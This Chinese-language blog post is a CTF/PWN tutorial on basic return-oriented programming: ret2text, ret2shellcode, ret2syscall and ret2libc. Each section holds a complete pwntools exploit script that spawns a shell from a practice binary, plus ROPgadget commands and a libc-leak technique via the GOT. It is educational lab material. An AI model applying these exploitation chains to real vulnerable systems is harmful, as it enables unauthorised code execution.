目錄
  1. 1. ret2text
  2. 2. ret2shellcode
  3. 3. ret2syscall
  4. 4. ret2libc
    1. 4.1. ret2libc1
    2. 4.2. ret2libc2
  5. 5. ret2libc3
PWN学习之基本ROP

ret2text

首先checksec,查看保护

开启了NX保护,IDA查看程序

很明显存在栈溢出漏洞,继续查看程序,发现有一处调用shell

想要程序调用system函数,需要input==secretcode,而secretcode每次都是随机的,所以只能通过栈溢出,让main函数的返回值为调用system函数的地方,查看该函数所在的位置

0x0804863A,接下来是找到函数返回的地址,并将其覆盖

0xffffd338-0xffffd2cc = 108,于是构造payload

1
2
3
4
5
6
7
from pwn import *

sh = process("./ret2text")
addr = 0x0804863A
payload = (108+4) * 'a' + p32(addr)
sh.sendline(payload)
sh.interactive()

例题:jarvisOJ level0

ret2shellcode

首先checksec

32位程序,没有开启任何保护,IDA查看程序

有栈溢出,例外,strncpy()函数将gets的内容写入buf2中。于是攻击思路如下:

1
将shellcode写入buf2中,然后利用栈溢出将函数返回地址覆盖为buf2的地址。例外有一点需要注意的是,shellcode长度不能超过0x64,buf2部分可写可执行

查看buf2的地址

可以看到buffer位于.bss段的0x0804A080处,接下来查看此处地址的权限

vmmap查看内存,0xa080+0x64=0xa0c4,有可写可读可执行权限。于是构造payload

1
2
3
4
5
6
7
8
9
10
from pwn import *

sh = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
print shellcraft.sh()
print hex(len(shellcode)) #0x2c
buf = 0x0804a080
payload = shellcode.ljust(112,'a') + p32(buf)
sh.sendline(payload)
sh.interactive()

例题:jarvisOJ level1

ret2syscall

首先checksec

开启NX,IDA查看程序

没有系统函数和shellcode,但是依然有栈溢出,这时候可以利用系统调用。下面介绍几个相关知识:

执行系统调用的指令是 int 0x80

系统调用获取shell的函数是 execve(“/bin/sh”,NULL,NULL)

对应的寄存器的值(对于32位程序)

1
2
3
4
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

给寄存器赋值要利用到pop,因此需要ROPgadget

查找可存储寄存器的代码

1
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'

查找字符串

1
ROPgadget --binary rop --string "/bin/sh"

查找有int 0x80的地址

1
ROPgadget --binary rop  --only 'int'

还有一点需要注意的是:ret操作会执行一次pop并作为跳转地址

首先找eax

选取如下

1
0x080bb196 : pop eax ; ret

再找ebx

选取如下,一举三得

1
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

查找”/bin/sh”

查找int 0x80

编写脚本如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh = process("./rop")
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
print len(payload)
sh.sendline(payload)
sh.interactive()

ret2libc

ret2libc1

首先checksec

32位程序,NX开启。IDA查看程序

存在栈溢出漏洞,Get shell最直接的方法就是:

1
改写程序返回地址为so库中system函数的地址,同时布置好栈,将参数“/bin/sh\x00”放在’返回地址往后两个单位内存地址’处即可

查看system函数和”/bin/sh”的地址

编写脚本

1
2
3
4
5
6
7
8
from pwn import *

sh = process("./ret2libc1")
system_addr = 0x08048460
bin_sh = 0x08048720
payload = flat([112*'a',system_addr,'aaaa',bin_sh])
sh.sendline(payload)
sh.interactive()

例题:jarvisOJ level2

ret2libc2

首先checksec

32位程序,开启了NX。IDA查看程序

有栈溢出,并且有system函数和gets函数,攻击思路:

1
利用gets函数向.bss段中写入“/bin/sh”,再调用系统函数执行system("/bin/sh")

gdb查看system函数和gets函数在plt表中的位置

找一个buf来存储写入的”/bin/sh”

再找一个gadget连接gets和buf2,即ebx

编写脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh = process("./ret2libc2")
get_addr = 0x08048460
system_addr = 0x08048490
buf2 = 0x0804a080
pop_ebx = 0x0804843d
payload = flat([112*'a',get_addr,pop_ebx,buf2,system_addr,'aaaa',buf2])
sh.sendline(payload)
sh.sendline("/bin/sh")
sh.interactive()

该方法同样适用于ret2libc1

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh = process("./ret2libc1")
get_addr = 0x08048430
system_addr = 0x08048460
buf2 = 0x0804a080
pop_ebx = 0x0804841d
payload = flat([112*'a',get_addr,pop_ebx,buf2,system_addr,'aaaa',buf2])
sh.sendline(payload)
sh.sendline("cat flag > 111")
sh.interactive()

ret2libc3

首先checksec

32位程序,NX开启。IDA查看

有栈溢出,无system函数。下面介绍两个知识点:

1、system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的,也就是说要找基地址。举个例子:

1
puts真实地址-puts偏移地址 = system真实地址-system偏移地址 = 基地址

2、那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址,已经执行过的话就会在got表生存下来。同时可以根据got表项找到对应的libc.so,从而确定函数偏移。举个例子:

1
利用puts函数泄露puts函数的got表,因为puts函数在gets之前使用过。

利用puts的got表项找对应的libc.so有两种方法:

1、https://libc.blukat.me

2、https://github.com/lieanu/LibcSearcher

objdump看一下got表有哪些

因为PIE是关闭的,所以可以直接去puts出got表中puts的内容,并且返回到面函数

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = 'debug'

p=process('./ret2libc3')
if args.G:
gdb.attach(p)
elf = ELF("./ret2libc3")
payload = 'a'*112 + p32(elf.plt['puts']) + p32(elf.symbols['main']) + p32(elf.got['puts'])
p.sendlineafter('!?',payload)
puts_addr = u32(p.recv(4))
print hex(puts_addr)

然后根据got表中puts的内容找到相应的libc

这样就可以求出libc的基地址,system的地址和“/bin/sh”的地址

1
2
3
4
5
6
7
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = next(libc.search("/bin/sh"))

payload = 'a'*112 + p32(system_addr) + p32(elf.symbols['main']) + p32(binsh_addr)
p.sendlineafter('!?',payload)
p.interactive()

但是这样有个小问题,第二次调用main函数的时候,esp和ebp的相对偏移发生了变化,payload应为

1
payload = 'a'*112 + p32(system_addr) + p32(elf.symbols['main']) + p32(binsh_addr)

利用cyclic来判断

于是编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import LibcSearcher

sh = process("./ret2libc3")
ret2libc3 = ELF("./ret2libc3")

puts_plt = ret2libc3.plt['puts']
puts_got = ret2libc3.got['puts']
main = ret2libc3.symbols['main']

payload = flat([112*'a',puts_plt,main,puts_got])
sh.sendlineafter("Can you find it !?",payload)
puts_addr = u32(sh.recv(4))
print hex(puts_addr)

libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload = flat([104*'a',system_addr,'aaaa',binsh_addr])
sh.sendlineafter("Can you find it !?",payload)
sh.interactive()
文章作者: kangel
文章鏈接: https://j-kangel.github.io/2019/05/18/PWN学习之基本ROP/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL